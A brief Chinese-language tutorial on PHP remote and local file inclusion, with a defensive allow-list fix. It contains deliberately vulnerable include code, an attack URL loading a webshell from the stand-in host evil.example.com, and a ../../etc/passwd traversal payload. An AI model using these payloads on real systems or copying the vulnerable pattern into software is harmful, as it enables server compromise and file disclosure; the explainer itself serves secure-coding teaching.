远程文件包含(也称为RFI)是一种类型的漏洞,它使攻击者可以包含远程文件。
本示例将注入一个包含恶意代码的远程托管文件:
<?php include $_GET['page'];
/vulnerable.php?page=http://evil.example.com/webshell.txt?
本地文件包含(也称为LFI)是通过Web浏览器在服务器上包含文件的过程。
<?php $page = 'pages/'.$_GET['page']; if(isset($page)) { include $page; } else { include 'index.php'; }
/vulnerable.php?page=../../../../etc/passwd
建议仅允许包含您批准的文件,并且仅限于这些文件。
<?php $page = 'pages/'.$_GET['page'].'.php'; $allowed = ['pages/home.php','pages/error.php']; if(in_array($page,$allowed)) { include($page); } else { include('index.php'); }